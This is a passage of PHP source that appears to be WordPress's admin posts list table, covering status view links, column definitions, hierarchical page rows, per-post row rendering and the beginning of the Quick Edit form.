$args['screen'] : null, ) ); $post_type = $this->screen->post_type; $post_type_object = get_post_type_object( $post_type ); if ( !current_user_can( $post_type_object->cap->edit_others_posts ) ) { $exclude_states = get_post_stati( array( 'show_in_admin_all_list' => false ) ); $this->user_posts_count = $wpdb->get_var( $wpdb->prepare( " SELECT COUNT( 1 ) FROM $wpdb->posts WHERE post_type = %s AND post_status NOT IN ( '" . implode( "','", $exclude_states ) . "' ) AND post_author = %d ", $post_type, get_current_user_id() ) ); if ( $this->user_posts_count && empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['all_posts'] ) && empty( $_REQUEST['author'] ) && empty( $_REQUEST['show_sticky'] ) ) $_GET['author'] = get_current_user_id(); } if ( 'post' == $post_type && $sticky_posts = get_option( 'sticky_posts' ) ) { $sticky_posts = implode( ', ', array_map( 'absint', (array) $sticky_posts ) ); $this->sticky_posts_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT( 1 ) FROM $wpdb->posts WHERE post_type = %s AND post_status NOT IN ('trash', 'auto-draft') AND ID IN ($sticky_posts)", $post_type ) ); } } function ajax_user_can() { return current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_posts ); } function prepare_items() { global $avail_post_stati, $wp_query, $per_page, $mode; $avail_post_stati = wp_edit_posts_query(); $this->hierarchical_display = ( is_post_type_hierarchical( $this->screen->post_type ) && 'menu_order title' == $wp_query->query['orderby'] ); $total_items = $this->hierarchical_display ? $wp_query->post_count : $wp_query->found_posts; $post_type = $this->screen->post_type; $per_page = $this->get_items_per_page( 'edit_' . $post_type . '_per_page' ); /** This filter is documented in wp-admin/includes/post.php */ $per_page = apply_filters( 'edit_posts_per_page', $per_page, $post_type ); if ( $this->hierarchical_display ) $total_pages = ceil( $total_items / $per_page ); else $total_pages = $wp_query->max_num_pages; $mode = empty( $_REQUEST['mode'] ) ? 'list' : $_REQUEST['mode']; $this->is_trash = isset( $_REQUEST['post_status'] ) && $_REQUEST['post_status'] == 'trash'; $this->set_pagination_args( array( 'total_items' => $total_items, 'total_pages' => $total_pages, 'per_page' => $per_page ) ); } function has_items() { return have_posts(); } function no_items() { if ( isset( $_REQUEST['post_status'] ) && 'trash' == $_REQUEST['post_status'] ) echo get_post_type_object( $this->screen->post_type )->labels->not_found_in_trash; else echo get_post_type_object( $this->screen->post_type )->labels->not_found; } function get_views() { global $locked_post_status, $avail_post_stati; $post_type = $this->screen->post_type; if ( !empty($locked_post_status) ) return array(); $status_links = array(); $num_posts = wp_count_posts( $post_type, 'readable' ); $class = ''; $allposts = ''; $current_user_id = get_current_user_id(); if ( $this->user_posts_count ) { if ( isset( $_GET['author'] ) && ( $_GET['author'] == $current_user_id ) ) $class = ' class="current"'; $status_links['mine'] = "<a href='edit.php?post_type=$post_type&author=$current_user_id'$class>" . sprintf( _nx( 'Mine <span class="count">(%s)</span>', 'Mine <span class="count">(%s)</span>', $this->user_posts_count, 'posts' ), number_format_i18n( $this->user_posts_count ) ) . '</a>'; $allposts = '&all_posts=1'; } $total_posts = array_sum( (array) $num_posts ); // Subtract post types that are not included in the admin all list. foreach ( get_post_stati( array('show_in_admin_all_list' => false) ) as $state ) $total_posts -= $num_posts->$state; $class = empty( $class ) && empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['show_sticky'] ) ? ' class="current"' : ''; $status_links['all'] = "<a href='edit.php?post_type=$post_type{$allposts}'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_posts, 'posts' ), number_format_i18n( $total_posts ) ) . '</a>'; foreach ( get_post_stati(array('show_in_admin_status_list' => true), 'objects') as $status ) { $class = ''; $status_name = $status->name; if ( !in_array( $status_name, $avail_post_stati ) ) continue; if ( empty( $num_posts->$status_name ) ) continue; if ( isset($_REQUEST['post_status']) && $status_name == $_REQUEST['post_status'] ) $class = ' class="current"'; $status_links[$status_name] = "<a href='edit.php?post_status=$status_name&post_type=$post_type'$class>" . sprintf( translate_nooped_plural( $status->label_count, $num_posts->$status_name ), number_format_i18n( $num_posts->$status_name ) ) . '</a>'; } if ( ! empty( $this->sticky_posts_count ) ) { $class = ! empty( $_REQUEST['show_sticky'] ) ? ' class="current"' : ''; $sticky_link = array( 'sticky' => "<a href='edit.php?post_type=$post_type&show_sticky=1'$class>" . sprintf( _nx( 'Sticky <span class="count">(%s)</span>', 'Sticky <span class="count">(%s)</span>', $this->sticky_posts_count, 'posts' ), number_format_i18n( $this->sticky_posts_count ) ) . '</a>' ); // Sticky comes after Publish, or if not listed, after All. $split = 1 + array_search( ( isset( $status_links['publish'] ) ? 'publish' : 'all' ), array_keys( $status_links ) ); $status_links = array_merge( array_slice( $status_links, 0, $split ), $sticky_link, array_slice( $status_links, $split ) ); } return $status_links; } function get_bulk_actions() { $actions = array(); if ( $this->is_trash ) $actions['untrash'] = __( 'Restore' ); else $actions['edit'] = __( 'Edit' ); if ( $this->is_trash || !EMPTY_TRASH_DAYS ) $actions['delete'] = __( 'Delete Permanently' ); else $actions['trash'] = __( 'Move to Trash' ); return $actions; } function extra_tablenav( $which ) { global $cat; ?> <div class="alignleft actions"> <?php if ( 'top' == $which && !is_singular() ) { $this->months_dropdown( $this->screen->post_type ); if ( is_object_in_taxonomy( $this->screen->post_type, 'category' ) ) { $dropdown_options = array( 'show_option_all' => __( 'View all categories' ), 'hide_empty' => 0, 'hierarchical' => 1, 'show_count' => 0, 'orderby' => 'name', 'selected' => $cat ); wp_dropdown_categories( $dropdown_options ); } /** * Fires before the Filter button on the Posts and Pages list tables. * * The Filter button allows sorting by date and/or category on the * Posts list table, and sorting by date on the Pages list table. * * @since 2.1.0 */ do_action( 'restrict_manage_posts' ); submit_button( __( 'Filter' ), 'button', false, false, array( 'id' => 'post-query-submit' ) ); } if ( $this->is_trash && current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_others_posts ) ) { submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false ); } ?> </div> <?php } function current_action() { if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) ) return 'delete_all'; return parent::current_action(); } function pagination( $which ) { global $mode; parent::pagination( $which ); if ( 'top' == $which && ! is_post_type_hierarchical( $this->screen->post_type ) ) $this->view_switcher( $mode ); } function get_table_classes() { return array( 'widefat', 'fixed', is_post_type_hierarchical( $this->screen->post_type ) ? 'pages' : 'posts' ); } function get_columns() { $post_type = $this->screen->post_type; $posts_columns = array(); $posts_columns['cb'] = '<input type="checkbox" />'; /* translators: manage posts column name */ $posts_columns['title'] = _x( 'Title', 'column name' ); if ( post_type_supports( $post_type, 'author' ) ) $posts_columns['author'] = __( 'Author' ); $taxonomies = array(); $taxonomies = get_object_taxonomies( $post_type, 'objects' ); $taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' ); /** * Filter the taxonomy columns in the Posts list table. * * The dynamic portion of the hook name, $post_type, refers to the post * type slug. * * @since 3.5.0 * * @param array $taxonomies Array of taxonomies to show columns for. * @param string $post_type The post type. */ $taxonomies = apply_filters( "manage_taxonomies_for_{$post_type}_columns", $taxonomies, $post_type ); $taxonomies = array_filter( $taxonomies, 'taxonomy_exists' ); foreach ( $taxonomies as $taxonomy ) { if ( 'category' == $taxonomy ) $column_key = 'categories'; elseif ( 'post_tag' == $taxonomy ) $column_key = 'tags'; else $column_key = 'taxonomy-' . $taxonomy; $posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name; } $post_status = !empty( $_REQUEST['post_status'] ) ? $_REQUEST['post_status'] : 'all'; if ( post_type_supports( $post_type, 'comments' ) && !in_array( $post_status, array( 'pending', 'draft', 'future' ) ) ) $posts_columns['comments'] = '<span class="vers"><span title="' . esc_attr__( 'Comments' ) . '" class="comment-grey-bubble"></span></span>'; $posts_columns['date'] = __( 'Date' ); if ( 'page' == $post_type ) { /** * Filter the columns displayed in the Pages list table. * * @since 2.5.0 * * @param array $post_columns An array of column names. */ $posts_columns = apply_filters( 'manage_pages_columns', $posts_columns ); } else { /** * Filter the columns displayed in the Posts list table. * * @since 1.5.0 * * @param array $posts_columns An array of column names. * @param string $post_type The post type slug. */ $posts_columns = apply_filters( 'manage_posts_columns', $posts_columns, $post_type ); } /** * Filter the columns displayed in the Posts list table for a specific post type. * * The dynamic portion of the hook name, $post_type, refers to the post type slug. * * @since 3.0.0 * * @param array $post_columns An array of column names. */ $posts_columns = apply_filters( "manage_{$post_type}_posts_columns", $posts_columns ); return $posts_columns; } function get_sortable_columns() { return array( 'title' => 'title', 'parent' => 'parent', 'comments' => 'comment_count', 'date' => array( 'date', true ) ); } function display_rows( $posts = array(), $level = 0 ) { global $wp_query, $per_page; if ( empty( $posts ) ) $posts = $wp_query->posts; add_filter( 'the_title', 'esc_html' ); if ( $this->hierarchical_display ) { $this->_display_rows_hierarchical( $posts, $this->get_pagenum(), $per_page ); } else { $this->_display_rows( $posts, $level ); } } function _display_rows( $posts, $level = 0 ) { global $mode; // Create array of post IDs. $post_ids = array(); foreach ( $posts as $a_post ) $post_ids[] = $a_post->ID; $this->comment_pending_count = get_pending_comments_num( $post_ids ); foreach ( $posts as $post ) $this->single_row( $post, $level ); } function _display_rows_hierarchical( $pages, $pagenum = 1, $per_page = 20 ) { global $wpdb; $level = 0; if ( ! $pages ) { $pages = get_pages( array( 'sort_column' => 'menu_order' ) ); if ( ! $pages ) return false; } /* * Arrange pages into two parts: top level pages and children_pages * children_pages is two dimensional array, eg. * children_pages[10][] contains all sub-pages whose parent is 10. * It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations * If searching, ignore hierarchy and treat everything as top level */ if ( empty( $_REQUEST['s'] ) ) { $top_level_pages = array(); $children_pages = array(); foreach ( $pages as $page ) { // catch and repair bad pages if ( $page->post_parent == $page->ID ) { $page->post_parent = 0; $wpdb->update( $wpdb->posts, array( 'post_parent' => 0 ), array( 'ID' => $page->ID ) ); clean_post_cache( $page ); } if ( 0 == $page->post_parent ) $top_level_pages[] = $page; else $children_pages[ $page->post_parent ][] = $page; } $pages = &$top_level_pages; } $count = 0; $start = ( $pagenum - 1 ) * $per_page; $end = $start + $per_page; foreach ( $pages as $page ) { if ( $count >= $end ) break; if ( $count >= $start ) { echo "\t"; $this->single_row( $page, $level ); } $count++; if ( isset( $children_pages ) ) $this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page ); } // if it is the last pagenum and there are orphaned pages, display them with paging as well if ( isset( $children_pages ) && $count < $end ){ foreach ( $children_pages as $orphans ){ foreach ( $orphans as $op ) { if ( $count >= $end ) break; if ( $count >= $start ) { echo "\t"; $this->single_row( $op, 0 ); } $count++; } } } } /** * Given a top level page ID, display the nested hierarchy of sub-pages * together with paging support * * @since 3.1.0 (Standalone function exists since 2.6.0) * * @param array $children_pages * @param int $count * @param int $parent * @param int $level * @param int $pagenum * @param int $per_page */ function _page_rows( &$children_pages, &$count, $parent, $level, $pagenum, $per_page ) { if ( ! isset( $children_pages[$parent] ) ) return; $start = ( $pagenum - 1 ) * $per_page; $end = $start + $per_page; foreach ( $children_pages[$parent] as $page ) { if ( $count >= $end ) break; // If the page starts in a subtree, print the parents. if ( $count == $start && $page->post_parent > 0 ) { $my_parents = array(); $my_parent = $page->post_parent; while ( $my_parent ) { $my_parent = get_post( $my_parent ); $my_parents[] = $my_parent; if ( !$my_parent->post_parent ) break; $my_parent = $my_parent->post_parent; } $num_parents = count( $my_parents ); while ( $my_parent = array_pop( $my_parents ) ) { echo "\t"; $this->single_row( $my_parent, $level - $num_parents ); $num_parents--; } } if ( $count >= $start ) { echo "\t"; $this->single_row( $page, $level ); } $count++; $this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page ); } unset( $children_pages[$parent] ); //required in order to keep track of orphans } function single_row( $post, $level = 0 ) { global $mode; static $alternate; $global_post = get_post(); $GLOBALS['post'] = $post; setup_postdata( $post ); $edit_link = get_edit_post_link( $post->ID ); $title = _draft_or_post_title(); $post_type_object = get_post_type_object( $post->post_type ); $can_edit_post = current_user_can( 'edit_post', $post->ID ); $alternate = 'alternate' == $alternate ? '' : 'alternate'; $classes = $alternate . ' iedit author-' . ( get_current_user_id() == $post->post_author ? 'self' : 'other' ); $lock_holder = wp_check_post_lock( $post->ID ); if ( $lock_holder ) { $classes .= ' wp-locked'; $lock_holder = get_userdata( $lock_holder ); } if ( $post->post_parent ) { $count = count( get_post_ancestors( $post->ID ) ); $classes .= ' level-'. $count; } else { $classes .= ' level-0'; } ?> <tr id="post-<?php echo $post->ID; ?>" class="<?php echo implode( ' ', get_post_class( $classes, $post->ID ) ); ?>"> <?php list( $columns, $hidden ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) { $class = "class=\"$column_name column-$column_name\""; $style = ''; if ( in_array( $column_name, $hidden ) ) $style = ' style="display:none;"'; $attributes = "$class$style"; switch ( $column_name ) { case 'cb': ?> <th scope="row" class="check-column"> <?php if ( $can_edit_post ) { ?> <label class="screen-reader-text" for="cb-select-<?php the_ID(); ?>"><?php printf( __( 'Select %s' ), $title ); ?></label> <input id="cb-select-<?php the_ID(); ?>" type="checkbox" name="post[]" value="<?php the_ID(); ?>" /> <div class="locked-indicator"></div> <?php } ?> </th> <?php break; case 'title': $attributes = 'class="post-title page-title column-title"' . $style; if ( $this->hierarchical_display ) { if ( 0 == $level && (int) $post->post_parent > 0 ) { //sent level 0 by accident, by default, or because we don't know the actual level $find_main_page = (int) $post->post_parent; while ( $find_main_page > 0 ) { $parent = get_post( $find_main_page ); if ( is_null( $parent ) ) break; $level++; $find_main_page = (int) $parent->post_parent; if ( !isset( $parent_name ) ) { /** This filter is documented in wp-includes/post-template.php */ $parent_name = apply_filters( 'the_title', $parent->post_title, $parent->ID ); } } } } $pad = str_repeat( '— ', $level ); echo "<td $attributes><strong>"; if ( $format = get_post_format( $post->ID ) ) { $label = get_post_format_string( $format ); echo '<a href="' . esc_url( add_query_arg( array( 'post_format' => $format, 'post_type' => $post->post_type ), 'edit.php' ) ) . '" class="post-state-format post-format-icon post-format-' . $format . '" title="' . $label . '">' . $label . ":</a> "; } if ( $can_edit_post && $post->post_status != 'trash' ) { echo '<a class="row-title" href="' . $edit_link . '" title="' . esc_attr( sprintf( __( 'Edit “%s”' ), $title ) ) . '">' . $pad . $title . '</a>'; } else { echo $pad . $title; } _post_states( $post ); if ( isset( $parent_name ) ) echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html( $parent_name ); echo "</strong>\n"; if ( $can_edit_post && $post->post_status != 'trash' ) { if ( $lock_holder ) { $locked_avatar = get_avatar( $lock_holder->ID, 18 ); $locked_text = esc_html( sprintf( __( '%s is currently editing' ), $lock_holder->display_name ) ); } else { $locked_avatar = $locked_text = ''; } echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n"; } if ( ! $this->hierarchical_display && 'excerpt' == $mode && current_user_can( 'read_post', $post->ID ) ) { echo esc_html( get_the_excerpt() ); } $actions = array(); if ( $can_edit_post && 'trash' != $post->post_status ) { $actions['edit'] = '<a href="' . get_edit_post_link( $post->ID, true ) . '" title="' . esc_attr( __( 'Edit this item' ) ) . '">' . __( 'Edit' ) . '</a>'; $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr( __( 'Edit this item inline' ) ) . '">' . __( 'Quick Edit' ) . '</a>'; } if ( current_user_can( 'delete_post', $post->ID ) ) { if ( 'trash' == $post->post_status ) $actions['untrash'] = "<a title='" . esc_attr( __( 'Restore this item from the Trash' ) ) . "' href='" . wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&action=untrash', $post->ID ) ), 'untrash-post_' . $post->ID ) . "'>" . __( 'Restore' ) . "</a>"; elseif ( EMPTY_TRASH_DAYS ) $actions['trash'] = "<a class='submitdelete' title='" . esc_attr( __( 'Move this item to the Trash' ) ) . "' href='" . get_delete_post_link( $post->ID ) . "'>" . __( 'Trash' ) . "</a>"; if ( 'trash' == $post->post_status || !EMPTY_TRASH_DAYS ) $actions['delete'] = "<a class='submitdelete' title='" . esc_attr( __( 'Delete this item permanently' ) ) . "' href='" . get_delete_post_link( $post->ID, '', true ) . "'>" . __( 'Delete Permanently' ) . "</a>"; } if ( $post_type_object->public ) { if ( in_array( $post->post_status, array( 'pending', 'draft', 'future' ) ) ) { if ( $can_edit_post ) { /** This filter is documented in wp-admin/includes/meta-boxes.php */ $actions['view'] = '<a href="' . esc_url( apply_filters( 'preview_post_link', set_url_scheme( add_query_arg( 'preview', 'true', get_permalink( $post->ID ) ) ) ) ) . '" title="' . esc_attr( sprintf( __( 'Preview “%s”' ), $title ) ) . '" rel="permalink">' . __( 'Preview' ) . '</a>'; } } elseif ( 'trash' != $post->post_status ) { $actions['view'] = '<a href="' . get_permalink( $post->ID ) . '" title="' . esc_attr( sprintf( __( 'View “%s”' ), $title ) ) . '" rel="permalink">' . __( 'View' ) . '</a>'; } } if ( is_post_type_hierarchical( $post->post_type ) ) { /** * Filter the array of row action links on the Pages list table. * * The filter is evaluated only for hierarchical post types. * * @since 2.8.0 * * @param array $actions An array of row action links. Defaults are * 'Edit', 'Quick Edit', 'Restore, 'Trash', * 'Delete Permanently', 'Preview', and 'View'. * @param WP_Post $post The post object. */ $actions = apply_filters( 'page_row_actions', $actions, $post ); } else { /** * Filter the array of row action links on the Posts list table. * * The filter is evaluated only for non-hierarchical post types. * * @since 2.8.0 * * @param array $actions An array of row action links. Defaults are * 'Edit', 'Quick Edit', 'Restore, 'Trash', * 'Delete Permanently', 'Preview', and 'View'. * @param WP_Post $post The post object. */ $actions = apply_filters( 'post_row_actions', $actions, $post ); } echo $this->row_actions( $actions ); get_inline_data( $post ); echo '</td>'; break; case 'date': if ( '0000-00-00 00:00:00' == $post->post_date ) { $t_time = $h_time = __( 'Unpublished' ); $time_diff = 0; } else { $t_time = get_the_time( __( 'Y/m/d g:i:s A' ) ); $m_time = $post->post_date; $time = get_post_time( 'G', true, $post ); $time_diff = time() - $time; if ( $time_diff > 0 && $time_diff < DAY_IN_SECONDS ) $h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) ); else $h_time = mysql2date( __( 'Y/m/d' ), $m_time ); } echo '<td ' . $attributes . '>'; if ( 'excerpt' == $mode ) { /** * Filter the published time of the post. * * If $mode equals 'excerpt', the published time and date are both displayed. * If $mode equals 'list' (default), the publish date is displayed, with the * time and date together available as an abbreviation definition. * * @since 2.5.1 * * @param array $t_time The published time. * @param WP_Post $post Post object. * @param string $column_name The column name. * @param string $mode The list display mode ('excerpt' or 'list'). */ echo apply_filters( 'post_date_column_time', $t_time, $post, $column_name, $mode ); } else { /** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */ echo '<abbr title="' . $t_time . '">' . apply_filters( 'post_date_column_time', $h_time, $post, $column_name, $mode ) . '</abbr>'; } echo '<br />'; if ( 'publish' == $post->post_status ) { _e( 'Published' ); } elseif ( 'future' == $post->post_status ) { if ( $time_diff > 0 ) echo '<strong class="attention">' . __( 'Missed schedule' ) . '</strong>'; else _e( 'Scheduled' ); } else { _e( 'Last Modified' ); } echo '</td>'; break; case 'comments': ?> <td <?php echo $attributes ?>><div class="post-com-count-wrapper"> <?php $pending_comments = isset( $this->comment_pending_count[$post->ID] ) ? $this->comment_pending_count[$post->ID] : 0; $this->comments_bubble( $post->ID, $pending_comments ); ?> </div></td> <?php break; case 'author': ?> <td <?php echo $attributes ?>><?php printf( '<a href="%s">%s</a>', esc_url( add_query_arg( array( 'post_type' => $post->post_type, 'author' => get_the_author_meta( 'ID' ) ), 'edit.php' )), get_the_author() ); ?></td> <?php break; default: if ( 'categories' == $column_name ) $taxonomy = 'category'; elseif ( 'tags' == $column_name ) $taxonomy = 'post_tag'; elseif ( 0 === strpos( $column_name, 'taxonomy-' ) ) $taxonomy = substr( $column_name, 9 ); else $taxonomy = false; if ( $taxonomy ) { $taxonomy_object = get_taxonomy( $taxonomy ); echo '<td ' . $attributes . '>'; if ( $terms = get_the_terms( $post->ID, $taxonomy ) ) { $out = array(); foreach ( $terms as $t ) { $posts_in_term_qv = array(); if ( 'post' != $post->post_type ) $posts_in_term_qv['post_type'] = $post->post_type; if ( $taxonomy_object->query_var ) { $posts_in_term_qv[ $taxonomy_object->query_var ] = $t->slug; } else { $posts_in_term_qv['taxonomy'] = $taxonomy; $posts_in_term_qv['term'] = $t->slug; } $out[] = sprintf( '<a href="%s">%s</a>', esc_url( add_query_arg( $posts_in_term_qv, 'edit.php' ) ), esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) ) ); } /* translators: used between list items, there is a space after the comma */ echo join( __( ', ' ), $out ); } else { echo '—'; } echo '</td>'; break; } ?> <td <?php echo $attributes ?>><?php if ( is_post_type_hierarchical( $post->post_type ) ) { /** * Fires in each custom column on the Posts list table. * * This hook only fires if the current post type is hierarchical, * such as pages. * * @since 2.5.0 * * @param string $column_name The name of the column to display. * @param int $post_id The current post ID. */ do_action( 'manage_pages_custom_column', $column_name, $post->ID ); } else { /** * Fires in each custom column in the Posts list table. * * This hook only fires if the current post type is non-hierarchical, * such as posts. * * @since 1.5.0 * * @param string $column_name The name of the column to display. * @param int $post_id The current post ID. */ do_action( 'manage_posts_custom_column', $column_name, $post->ID ); } /** * Fires for each custom column of a specific post type in the Posts list table. * * The dynamic portion of the hook name, $post->post_type, refers to the post type. * * @since 3.1.0 * * @param string $column_name The name of the column to display. * @param int $post_id The current post ID. */ do_action( "manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID ); ?></td> <?php break; } } ?> </tr> <?php $GLOBALS['post'] = $global_post; } /** * Outputs the hidden row displayed when inline editing * * @since 3.1.0 */ function inline_edit() { global $mode; $screen = $this->screen; $post = get_default_post_to_edit( $screen->post_type ); $post_type_object = get_post_type_object( $screen->post_type ); $taxonomy_names = get_object_taxonomies( $screen->post_type ); $hierarchical_taxonomies = array(); $flat_taxonomies = array(); foreach ( $taxonomy_names as $taxonomy_name ) { $taxonomy = get_taxonomy( $taxonomy_name ); if ( !$taxonomy->show_ui ) continue; if ( $taxonomy->hierarchical ) $hierarchical_taxonomies[] = $taxonomy; else $flat_taxonomies[] = $taxonomy; } $m = ( isset( $mode ) && 'excerpt' == $mode ) ? 'excerpt' : 'list'; $can_publish = current_user_can( $post_type_object->cap->publish_posts ); $core_columns = array( 'cb' => true, 'date' => true, 'title' => true, 'categories' => true, 'tags' => true, 'comments' => true, 'author' => true ); ?> <form method="get" action=""><table style="display: none"><tbody id="inlineedit"> <?php $hclass = count( $hierarchical_taxonomies ) ? 'post' : 'page'; $bulk = 0; while ( $bulk < 2 ) { ?> <tr id="<?php echo $bulk ? 'bulk-edit' : 'inline-edit'; ?>" class="inline-edit-row inline-edit-row-<?php echo "$hclass inline-edit-" . $screen->post_type; echo $bulk ? " bulk-edit-row bulk-edit-row-$hclass bulk-edit-{$screen->post_type}" : " quick-edit-row quick-edit-row-$hclass inline-edit-{$screen->post_type}"; ?>" style="display: none"><td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange"> <fieldset class="inline-edit-col-left"><div class="inline-edit-col"> <h4><?php echo $bulk ? __( 'Bulk Edit' ) : __( 'Quick Edit' ); ?></h4> <?php if ( post_type_supports( $screen->post_type, 'title' ) ) : if ( $bulk ) : ?> <div id="bulk-title-div"> <div id="bulk-titles"></div> </div> <?php else : // $bulk ?> <label> <span class="title"><?php _e( 'Title' ); ?></span> <span class="input-text-wrap"><input type="text" name="post_title" class="ptitle" value="" /></span> </label> <label> <span class="title"><?php _e( 'Slug' ); ?></span> <span class="input-text-wrap"><input type="text" name="post_name" value="" /></span> </label> <?php endif; // $bulk endif; // post_type_supports title ?> <?php if ( !$bulk ) : ?> <label><span class="title"><?php _e( 'Date' ); ?></span></label> <div class="inline-edit-date"> <?php touch_time( 1, 1, 0, 1 ); ?> </div> <br class="clear" /> <?php endif; // $bulk if ( post_type_supports( $screen->post_type, 'author' ) ) : $authors_dropdown = ''; if ( is_super_admin() || current_user_can( $post_type_object->cap->edit_others_posts ) ) : $users_opt = array( 'hide_if_only_one_author' => false, 'who' => 'authors', 'name' => 'post_author', 'class'=> 'authors', 'multi' => 1, 'echo' => 0 ); if ( $bulk ) $users_opt['show_option_none'] = __( '— No Change —' ); if ( $authors = wp_dropdown_users( $users_opt ) ) : $authors_dropdown = '<label class="inline-edit-author">'; $authors_dropdown .= '<span class="title">' . __( 'Author' ) . '</span>'; $authors_dropdown .= $authors; $authors_dropdown .= '</label>'; endif; endif; // authors ?> <?php if ( !$bulk ) echo $authors_dropdown; endif; // post_type_supports author if ( !$bulk && $can_publish ) : ?> <div class="inline-edit-group"> <label class="alignleft"> <span class="title"><?php _e( 'Password' ); ?></span> <span class="input-text-wrap"><input type="text" name="post_password" class="inline-edit-password-input" value="" /></span> </label> <em style="margin:5px 10px 0 0" class="alignleft"> <?php /* translators: Between password field and private checkbox on post quick edit interface */ echo __( '–OR–' ); ?> </em> <label class="alignleft inline-edit-private"> <input type="checkbox" name="keep_private" value="private" /> <span class="checkbox-title"><?php echo __( 'Private' ); ?></span> </label> </div> <?php endif; ?> </div></fieldset> <?php if ( count( $hierarchical_taxonomies ) && !$bulk ) : ?> <fieldset class="inline-edit-col-center inline-edit-categories"><div class="inline-edit-col"> <?php foreach ( $hierarchical_taxonomies as $taxonomy ) : ?> <span class="title inline-edit-categories-label"><?php echo esc_html( $taxonomy->labels->name ) ?></span> <input type="hidden" name="<?php echo ( $taxonomy->name == 'category' ) ? 'post_category[]' : 'tax_input[' . esc_attr( $taxonomy->name ) . '][]'; ?>" value="0" /> <ul class="cat-checklist <?php echo esc_attr( $taxonomy->name )?>-checklist"> <?php wp_terms_checklist( null, array( 'taxonomy' => $taxonomy->name ) ) ?> </ul> <?php endforeach; //$hierarchical_taxonomies as $taxonomy ?> </div></fieldset> <?php endif; // count( $hierarchical_taxonomies ) && !$bulk ?> <fieldset class="inline-edit-col-right"><div class="inline-edit-col"> <?php if ( post_type_supports( $screen->post_type, 'author' ) && $bulk ) echo $authors_dropdown; if ( post_type_supports( $screen->post_type, 'page-attributes' ) ) : if ( $post_type_object->hierarchical ) : ?> <label> <span class="title"><?php _e( 'Parent' ); ?></span> <?php $dropdown_args = array( 'post_type' => $post_type_object->name, 'selected' => $post->post_parent, 'name' => 'post_parent', 'show_option_none' => __( 'Main Page (no parent)' ), 'option_none_value' => 0, 'sort_column' => 'menu_order, post_title', ); if ( $bulk ) $dropdown_args['show_option_no_change'] = __( '— No Change —' ); /** * Filter the arguments used to generate the Quick Edit page-parent drop-down. * * @since 2.7.0 * * @see wp_dropdown_pages() * * @param array $dropdown_args An array of arguments. */ $dropdown_args = apply_filters( 'quick_edit_dropdown_pages_args', $dropdown_args ); wp_dropdown_pages( $dropdown_args ); ?> </label> <?php endif; // hierarchical if ( !$bulk ) : ?> <label> <span class="title"><?php _e( 'Order' ); ?></span> <span class="input-text-wrap"><input type="text" name="menu_order" class="inline-edit-menu-order-input" value="<?php echo $post->menu_order ?>" /></span> </label> <?php endif; // !$bulk if ( 'page' == $screen->post_type ) : ?> <label> <span class="title"><?php _e( 'Template' ); ?></span> <select name="page_template"> <?php if ( $bulk ) : ?> <option value="-1"><?php _e( '— No Change —' ); ?></option> <?php endif; // $bulk ?> <option value="default"><?php _e( 'Default Template' ); ?></option> <?php page_template_dropdown() ?> </select> </label> <?php endif; // page post_type endif; // page-attributes ?> <?php if ( count( $flat_taxonomies ) && !$bulk ) : ?> <?php foreach ( $flat_taxonomies as $taxonomy ) : ?> <?php if ( current_user_can( $taxonomy->cap->assign_terms ) ) : ?> <label class="inline-edit-tags"> <span class="title"><?php echo esc_html( $taxonomy->labels->name ) ?></span> <textarea cols="22" rows="1" name="tax_input[<?php echo esc_attr( $taxonomy->name )?>]" class="tax_input_<?php echo esc_attr( $taxonomy->name )?>"></textarea> </label> <?php endif; ?> <?php endforeach; //$flat_taxonomies as $taxonomy ?> <?php endif; // count( $flat_taxonomies ) && !$bulk ?> <?php if ( post_type_supports( $screen->post_type, 'comments' ) || post_type_supports( $screen->post_type, 'trackbacks' ) ) : if ( $bulk ) : ?> <div class="inline-edit-group"> <?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?> <label class="alignleft"> <span class="title"><?php _e( 'Comments' ); ?></span> <select name="comment_status"> <option value=""><?php _e( '— No Change —' ); ?></option> <option value="open"><?php _e( 'Allow' ); ?></option> <option value="closed"><?php _e( 'Do not allow' ); ?></option> </select> </label> <?php endif; if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?> <label class="alignright"> <span class="title"><?php _e( 'Pings' ); ?></span> <select name="ping_status"> <option value=""><?php _e( '— No Change —' ); ?></option> <option value="open"><?php _e( 'Allow' ); ?></option> <option value="closed"><?php _e( 'Do not allow' ); ?></option> </select> </label> <?php endif; ?> </div> <?php else : // $bulk ?> <div class="inline-edit-group"> <?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?> <label class="alignleft"> <input type="checkbox" name="comment_status" value="open" /> <span class="checkbox-title"><?php _e( 'Allow Comments' ); ?></span> </label> <?php endif; if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?> <label class="alignleft"> <input type="checkbox" name="ping_status" value="open" /> <span class="checkbox-title"><?php _e( 'Allow Pings' ); ?></span> </label> <?php endif; ?> </div> <?php endif; // $bulk endif; // post_type_supports comments or pings ?> <div class="inline-edit-group"> <label class="inline-edit-status alignleft"> <span class="title"><?php _e( 'Status' ); ?></span> <select name="_status"> <?php if ( $bulk ) : ?> <option value="-1"><?php _e( '— No Change —' ); ?></option> <?php endif; // $bulk ?> <?php if ( $can_publish ) : 